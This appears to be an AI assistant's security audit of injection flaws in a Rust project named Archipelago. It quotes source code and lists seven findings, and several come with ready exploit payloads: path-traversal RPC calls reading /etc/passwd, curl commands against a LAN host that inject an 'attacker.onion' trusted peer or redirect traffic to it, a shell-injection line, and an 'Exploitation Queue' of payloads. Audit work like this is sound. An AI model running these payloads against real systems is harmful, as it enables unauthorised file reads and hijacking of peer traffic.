Now I have all the data I need. Let me write the complete injection vulnerability analysis. --- # Injection Vulnerability Analysis — Archipelago ## Methodology Traced all user-controlled inputs from RPC handlers, HTTP endpoints, and unauthenticated federation methods through to: - File system operations (`Path::join`, `fs::read`, `fs::write`) - Shell command execution (`Command::new("sh").arg("-c")`, `format!` into `--health-cmd`) - Data store writes (JSON catalog, federation nodes) Examined ~150 RPC methods, all HTTP routes in `handler.rs`, nginx proxy configs, and the Vite dev proxy. ## Findings --- ### INJ-001: Path Traversal via Content Filename **Type**: Path Traversal **Location**: RPC method `content.add`, parameter `filename` **Source file**: `core/archipelago/src/api/rpc/content.rs:24-49` + `core/archipelago/src/content_server.rs:94-112` **Confidence**: **high** **Evidence**: The `handle_content_add` handler accepts an arbitrary `filename` string from user params with zero validation: ```rust // content.rs:24-27 let filename = params.get("filename").and_then(|v| v.as_str()) .ok_or_else(|| anyhow::anyhow!("Missing filename"))?; ``` This filename is stored in the catalog and later used in `content_file_path()`: ```rust // content_server.rs:96 let clean_name = item.filename.trim_start_matches('/'); let primary = data_dir.join(CONTENT_DIR).join(clean_name); // No .. check! ``` `trim_start_matches('/')` strips leading slashes but does NOT strip `..` sequences. A filename like `../../etc/shadow` resolves to `{data_dir}/content/files/../../etc/shadow` → `/var/lib/archipelago/content/../../etc/shadow` → `/var/lib/etc/shadow` (or deeper traversals reach `/etc/shadow`). When a peer later requests `/content/{uuid}`, `serve_content()` looks up the item by UUID (safely validated) but then calls `content_file_path()` with the attacker-controlled filename, serving arbitrary files. **Requires**: Authentication (content.add is not in UNAUTHENTICATED_METHODS). But once added, content is served to unauthenticated peers. **Suggested exploit**: ```json {"method": "content.add", "params": {"filename": "../../../etc/passwd", "mime_type": "text/plain"}} ``` Then: `GET /content/{returned-uuid}` serves `/etc/passwd`. --- ### INJ-002: Path Traversal via Backup USB Mount Point **Type**: Path Traversal **Location**: RPC method `backup.to-usb`, parameter `mount_point` **Source file**: `core/archipelago/src/api/rpc/backup_rpc.rs:137-149` + `core/archipelago/src/backup/full.rs:324-338` **Confidence**: **medium** **Evidence**: The `handle_backup_to_usb` handler takes `mount_point` directly from user params and passes it to `backup_to_usb()`: ```rust // backup_rpc.rs:145-149 let mount_point = params["mount_point"].as_str() .ok_or_else(|| anyhow::anyhow!("Missing 'mount_point' parameter"))?; let dest = full::backup_to_usb(&self.config.data_dir, id, mount_point).await?; ``` In `backup_to_usb()`: ```rust // full.rs:334-337 let mount_path = Path::new(mount_point); if !mount_path.exists() || !mount_path.is_dir() { anyhow::bail!("Mount point not accessible"); } let dest_dir = mount_path.join("archipelago-backups"); fs::create_dir_all(&dest_dir).await?; ``` No canonicalization, no boundary check. An attacker can write backup files to any writable directory on the filesystem. While the write goes into a subdirectory `archipelago-backups/`, it still creates directories and writes encrypted backup blobs to arbitrary locations. **Requires**: Authentication. **Suggested exploit**: ```json {"method": "backup.to-usb", "params": {"id": "existing-backup-id", "mount_point": "/tmp"}} ``` Creates `/tmp/archipelago-backups/` and writes backup there. --- ### INJ-003: Unauthenticated Federation Node Injection (No DID Validation) **Type**: Data Injection / Authentication Bypass **Location**: RPC method `federation.peer-joined` (UNAUTHENTICATED), parameters `did`, `onion`, `pubkey` **Source file**: `core/archipelago/src/api/rpc/federation.rs:336-374` **Confidence**: **high** **Evidence**: This method is in `UNAUTHENTICATED_METHODS` (no session required) and accepts arbitrary peer data with NO signature verification and NO `validate_did()` call: ```rust // federation.rs:340-370 let did = params.get("did").and_then(|v| v.as_str())...; let onion = params.get("onion").and_then(|v| v.as_str())...; let pubkey = params.get("pubkey").and_then(|v| v.as_str())...; // NO validate_did(did)? call here! // NO signature verification! let node = FederatedNode { did: did.to_string(), trust_level: TrustLevel::Trusted, // Auto-trusted! ... }; federation::add_node(&self.config.data_dir, node).await?; ``` Compare with other federation methods that DO call `validate_did()`. This method doesn't, AND it sets `TrustLevel::Trusted` automatically. An attacker on the LAN can inject arbitrary trusted peers. The injected DID could contain path traversal characters since `validate_did()` is never called. **Suggested exploit**: ```bash curl -X POST http://192.168.1.228/rpc/v1 \ -H 'Content-Type: application/json' \ -d '{"method":"federation.peer-joined","params":{"did":"did:key:z6MkATTACKER","onion":"attacker.onion","pubkey":"deadbeef"}}' ``` --- ### INJ-004: Unauthenticated Federation Address Hijacking **Type**: Data Injection **Location**: RPC method `federation.peer-address-changed` (UNAUTHENTICATED), parameters `did`, `new_onion` **Source file**: `core/archipelago/src/api/rpc/federation.rs:426-464` **Confidence**: **high** **Evidence**: Unauthenticated method that updates any known peer's onion address without proof of ownership: ```rust // federation.rs:431-448 let did = params.get("did")...; let new_onion = params.get("new_onion")...; let found = nodes.iter_mut().find(|n| n.did == did); node.onion = new_onion.to_string(); // No signature check! ``` Combined with INJ-003, an attacker can: (1) discover peer DIDs via `federation.get-state` (also unauthenticated), (2) change any peer's address to their own, redirecting federation traffic. **Suggested exploit**: ```bash # Step 1: Get known peer DIDs curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.get-state"}' # Step 2: Redirect peer traffic curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.peer-address-changed","params":{"did":"did:key:z6Mk...","new_onion":"attacker.onion"}}' ``` --- ### INJ-005: Shell Injection via Health Check Command (RPC Password) **Type**: Command Injection **Location**: `get_health_check_args()` → `--health-cmd` podman arg **Source file**: `core/archipelago/src/api/rpc/package.rs:1323-1324` **Confidence**: **low** **Evidence**: The Bitcoin RPC password is interpolated into a shell command string: ```rust let btc_health = format!( "bitcoin-cli -rpcuser=archipelago -rpcpassword={} getblockchaininfo || exit 1", rpc_pass ); ``` This becomes `--health-cmd=...` passed to `podman run`. If `rpc_pass` contains shell metacharacters (`$()`, backticks, `;`, `|`), arbitrary commands execute inside the Bitcoin container during health checks. The password comes from `/var/lib/archipelago/secrets/bitcoin-rpc-password` or `BITCOIN_RPC_PASSWORD` env var — not directly from RPC input. Exploitation requires either: (a) writing to the secrets file, or (b) controlling the environment variable. The command runs inside the container, not on the host. **Suggested exploit**: If you can write to the secrets file: ``` echo '$(touch /tmp/pwned)' > /var/lib/archipelago/secrets/bitcoin-rpc-password ``` Then install/restart the bitcoin container. --- ### INJ-006: Exec Health Check Command Injection via Manifest **Type**: Command Injection **Location**: `check_exec_health()` → `podman exec sh -c {endpoint}` **Source file**: `core/container/src/health_monitor.rs:75-90` **Confidence**: **low** **Evidence**: The health check endpoint string is passed directly to `sh -c` inside a container: ```rust let output = Command::new("podman") .arg("exec").arg(&self.container_name) .arg("sh").arg("-c").arg(endpoint) // Unvalidated .output().await; ``` The `endpoint` comes from `HealthCheck` struct, which is populated from app manifests. If an attacker can modify a manifest file or if the manifest system accepts user-uploaded manifests, this becomes exploitable. Currently, manifests come from validated local files with `canonicalize()` + boundary checks on the path, so exploitation is unlikely. --- ### INJ-007: Parmanode Script Content Injection **Type**: Command Injection (indirect) **Location**: `ParmanodeScriptRunner::run_script()` **Source file**: `core/parmanode/src/script_runner.rs:54-88` **Confidence**: **low** **Evidence**: Script file content is read and embedded verbatim into a shell wrapper: ```rust let script_content = fs::read_to_string(script_path).await?; let wrapper_script = format!("#!/bin/sh\nset -e\n{}\n", script_content); ``` Then written to `/tmp/parmanode-{name}.sh` and executed in an Alpine container. The temp file path uses `script_name` (derived from `file_stem()`) which could contain shell metacharacters in the filename. However, the script_path is derived from `module_path.join("install.sh")`, which is locally controlled. Additionally, `/tmp` is world-writable — a TOCTOU race condition could replace the temp file between write and execution. --- ## Non-Findings (Verified Secure) | Area | Status | Details | |------|--------|---------| | **SQL Injection** | N/A | No SQL database; all storage is JSON files via serde | | **SSTI** | N/A | No template engines (no tera, handlebars, askama); backend returns pure JSON | | **App ID injection** | Secure | `validate_app_id()` enforces `[a-z0-9-]` whitelist, max 64 chars | | **Docker image injection** | Secure | `is_valid_docker_image()` rejects shell metacharacters + registry whitelist | | **Container manifest path** | Secure | `..` check + `canonicalize()` + boundary check to `apps_dir` | | **Backup ID traversal** | Secure | Validates against `/`, `\`, `..`, `\0`, max 128 chars | | **Content serving URL** | Secure | `content_id` validated via `is_valid_app_id()` before catalog lookup | | **Nginx path routing** | Secure | All proxy routes are fixed localhost ports, no dynamic path construction | --- ## Exploitation Queue ```json { "category": "injection", "findings": [ { "id": "INJ-001", "type": "path_traversal", "endpoint": "/rpc/v1", "parameter": "filename (in content.add method)", "confidence": "high", "payload_suggestion": "{\"method\":\"content.add\",\"params\":{\"filename\":\"../../../etc/passwd\",\"mime_type\":\"text/plain\"}}" }, { "id": "INJ-002", "type": "path_traversal", "endpoint": "/rpc/v1", "parameter": "mount_point (in backup.to-usb method)", "confidence": "medium", "payload_suggestion": "{\"method\":\"backup.to-usb\",\"params\":{\"id\":\"test\",\"mount_point\":\"/tmp\"}}" }, { "id": "INJ-003", "type": "data_injection_unauth", "endpoint": "/rpc/v1", "parameter": "did, onion, pubkey (in federation.peer-joined)", "confidence": "high", "payload_suggestion": "{\"method\":\"federation.peer-joined\",\"params\":{\"did\":\"did:key:z6MkATTACKER\",\"onion\":\"evil.onion\",\"pubkey\":\"deadbeef\"}}" }, { "id": "INJ-004", "type": "data_injection_unauth", "endpoint": "/rpc/v1", "parameter": "did, new_onion (in federation.peer-address-changed)", "confidence": "high", "payload_suggestion": "{\"method\":\"federation.peer-address-changed\",\"params\":{\"did\":\"did:key:KNOWN_PEER_DID\",\"new_onion\":\"attacker.onion\"}}" }, { "id": "INJ-005", "type": "command_injection", "endpoint": "podman --health-cmd (via package.install)", "parameter": "bitcoin RPC password from secrets file", "confidence": "low", "payload_suggestion": "Write shell metacharacters to /var/lib/archipelago/secrets/bitcoin-rpc-password then restart bitcoin container" }, { "id": "INJ-006", "type": "command_injection", "endpoint": "podman exec (via health_monitor)", "parameter": "HealthCheck.endpoint from manifest", "confidence": "low", "payload_suggestion": "Modify app manifest health check endpoint to contain shell commands" }, { "id": "INJ-007", "type": "command_injection", "endpoint": "parmanode script runner", "parameter": "script file content + /tmp TOCTOU", "confidence": "low", "payload_suggestion": "Race condition: replace /tmp/parmanode-*.sh between write and podman mount" } ] } ```